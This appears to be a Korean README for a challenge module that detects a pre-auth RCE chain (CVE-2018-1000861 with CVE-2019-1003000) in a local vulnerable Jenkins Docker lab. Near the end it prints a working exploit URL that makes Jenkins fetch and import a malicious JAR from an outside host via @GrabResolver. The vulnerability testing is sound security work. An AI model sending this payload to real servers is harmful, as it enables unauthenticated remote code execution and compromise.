CVE-2019-1003000_RCE-탐지

일반 요약

취약점 CVE-2018-1000861과 CVE-2019-1003000을 연쇄하여 Jenkins CI에서 Pre-Auth RCE를 테스트하는 모듈을 만들었습니다. 처음에는 사용자 이름과 비밀번호, 작업 이름으로 취약점을 탐지하려 했지만, 두 취약점을 연쇄하는 것이 더 현실적이고 흥미로울 것이라고 생각했습니다.

사전 요구 사항

Windows, Linux 또는 macOS 머신에 Visual Studio 또는 .NET Core 프레임워크가 설치되어 있어야 합니다.

환경 설정 (내가 한 방법)

1. 먼저 DockerHub에서 지정된 도커 버전(챌린지 지침에서)을 가져옵니다: docker pull jenkins/jenkins:2.121
2. 그런 다음 이 저장소에 있는 bash 스크립트를 작성하여 취약한 Jenkins 서버를 실행하는 새 도커 컨테이너를 시작하고 로컬 머신에 바인드 마운트했습니다.
   • 관리자 사용자
     • 사용자 이름 - Naruto
     • 비밀번호 - Uzumaki
     • 이름 - Naruto
3. 그런 다음 plugins.index.io로 이동하여 Jenkins에 설치할 특정 플러그인 버전을 찾았습니다.
   • Declarative Plugin - https://updates.jenkins.io/download/plugins/pipeline-model-definition/
   • Groovy - https://updates.jenkins.io/download/plugins/workflow-cps/
   • Script Security Plugin - https://updates.jenkins.io/download/plugins/script-security/
   • Declarative Extension Points - https://updates.jenkins.io/download/plugins/pipeline-model-extensions/
     • 플러그인을 설치한 후 'Manage plugins'의 'Advanced' 섹션으로 이동하여 Update Site 필드를 지우고 저장하여 다시 시작할 때 자동으로 업데이트되지 않도록 합니다.

실행 (설치 및 실행 방법)

1. payload 디렉토리로 이동하여 mvDir.sh를 실행합니다.
   • ./mvDir.sh로 실행
     • 이미 실행 파일로 표시되어 있어야 하며, 그렇지 않은 경우 chmod +x mvDir.sh를 실행하세요. 그래도 작동하지 않으면 bash mvDir.sh로 실행할 수 있습니다.
     • 이 명령은 악성 jar가 포함된 디렉토리를 컴퓨터의 루트로 이동합니다. GET 요청이 악성 요청에 지정된 jar 파일을 찾을 때 이 위치를 검색합니다.
2. jenkins_environment 디렉토리로 이동하여 ./run_vuln_jenkins.sh를 실행합니다.
   • 위 명령이 작동하지 않으면 위의 지침을 따르세요.
   • 이 bash 스크립트는 취약한 Jenkins 서버를 호스팅하는 도커 컨테이너를 실행합니다 (http://localhost:8080).
   • 또한 ./run_updated_jenkins.sh 또는 bash run_updated_jenkins.sh를 실행하면 http://localhost:8000에서 실행되는 안전하고 최신의 Jenkins 서버가 시작되며, 이 모듈을 실행하면 CVE-2018-1000861과 CVE-2019-1003000의 연쇄에 취약하지 않음을 보여줍니다.
3. exploit-detection-code/jenkins-server-rce/ 디렉토리로 이동합니다.
   • 이 프로젝트는 .NET Core 프레임워크를 사용하여 빌드되었습니다. 실행하려면 먼저 dotnet build 명령을 호출하세요.
   • 모듈 실행

     • 모듈 실행: dotnet run -- -u http://localhost:8080 -ip <호스트_IP_주소>

생각

초기 계획은 문제를 해결하는 방법에 대한 좋은 프레임워크였습니다. 그러나 실제로 해결해 나가면서 많은 작업이 필요 이상으로 복잡해졌다는 것을 깨달았습니다. 처음에는 RCE를 증명하기 위해 호스트 머신으로 역방향 셸을 실행하는 bash 스크립트를 만들었습니다. 그러나 이 챌린지의 목표는 취약점이 존재한다는 것을 증명하는 것이었습니다. 이 경우 Jenkins 버전 2.121.2에 Pipeline: Declarative Plugin 1.3.4, Pipeline: Declarative Extension Points API 1.3.4, Pipeline: Groovy Plugin 2.61, Script Security Plugin 1.49가 설치된 환경에서 RCE가 가능함을 증명하는 것이었습니다.

실제로 역방향 셸을 생성하고 임의 명령을 실행할 수 있음을 보여줄 필요는 없었습니다. 이 때문에 Windows 및 .nix 기반 운영 체제 모두에서 더 쉽게 탐지할 수 있습니다. GET 요청을 보낸 후 페이지가 성공 상태를 반환하거나 오류 메시지를 출력한다는 것을 발견했습니다. 그러나 상태 성공이 오탐(false positive)이 아닌지 확인하기 위해 호스트에서 python -m SimpleHTTPSever 80을 사용하여 웹 서버를 설정하고, 지정된 악성 JAR 파일(payload 폴더에 있음)에 사용자 정의 GET 요청을 보내면 GET 요청이 로컬 머신에서 해당 jar 파일의 올바른 경로로 200 상태 코드를 응답하여 취약점이 존재함을 증명합니다. 다음은 GET 요청과 해당 응답의 예시입니다. 서로 다른 파일 경로(tw/ 및 www/)에는 각각 악성 jar가 포함되어 있습니다. 요청이 이를 찾기 위해 이동하는 다른 경로일 뿐입니다.

GET 요청

http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

사용된 출처

• https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html?showComment=1556463533669#c1268121200706050658
• https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html
• https://blog.alertlogic.com/emerging-threat-jenkins-plugins-remote-code-execution/